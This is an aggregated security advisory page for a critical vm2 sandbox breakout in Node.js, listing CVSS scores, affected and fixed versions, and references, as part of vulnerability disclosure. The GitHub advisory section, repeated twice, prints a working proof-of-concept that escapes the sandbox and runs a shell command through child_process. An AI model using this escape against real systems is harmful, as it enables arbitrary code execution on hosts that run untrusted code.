CVE-2026-44008
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
- Record
CVE-2026-44008- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-668, CWE-1100
- Updated
- 2026-11-04
EUVDEUVD-2026-30078
9.8
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
- Record
EUVD-2026-30078- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-04
GitHub AdvisoriesGHSA-9qj6-qjgg-37qq
9.8
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
- Record
GHSA-9qj6-qjgg-37qq- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-668, CWE-1100
- Updated
- 2026-11-04
NVD
9.8
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
- Record
CVE-2026-44008- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-668, CWE-1100
- Updated
- 2026-11-04
OSV
9.8
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
- Record
CVE-2026-44008- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-668
- Updated
- 2026-11-05
OSVGHSA-9qj6-qjgg-37qq
9.8
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
- Record
GHSA-9qj6-qjgg-37qq- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1100, CWE-668
- Updated
- 2026-11-04
OSVROOT-APP-NPM-CVE-2026-44008
9.8
CVE-2026-44008 in vm2 - Patched by Root
Root has patched CVE-2026-44008 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-44008- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787860907 No score
TuxCare security update for vm2 (34 CVEs)
TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.
- Record
CLSA-2026-1787860907- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.11.1 | 3.11.2 |
vm2TuxCare:npm From an advisory covering 30 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0 |
3.10.0-tuxcare.1 |
vm2npm |
before 3.11.2 | 3.11.2 |
vm2Root:npm |
before 3.9.17-aikido.11 | 3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.9.7-aikido.53.9.7-aikido.63.10.5-aikido.8 |
@rootio/vm2Root:npm |
before 3.10.5-root.io.4 | 3.10.5-root.io.43.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.9.7-root.io.53.9.7-root.io.63.10.5-root.io.8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| references | EUVD, NVD, OSV | |
| references, title | CVE List | |
| references | OSV | |
| facts, references | GitHub Advisories | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44008 is a critical vulnerability (CVSS 9.8) in Patriksimek Vm2, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.89%, the 59th percentile. Fixed in vm2 3.11.2.
References
github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq
github.com/patriksimek/vm2/commit/ca195f0178989d6f59eafb7af965806f829e20f7
access.redhat.com/errata/RHSA-2026:50850
access.redhat.com/security/cve/CVE-2026-44008
bugzilla.redhat.com/show_bug.cgi?id=2477201
github.com/patriksimek/vm2/releases/tag/v3.11.2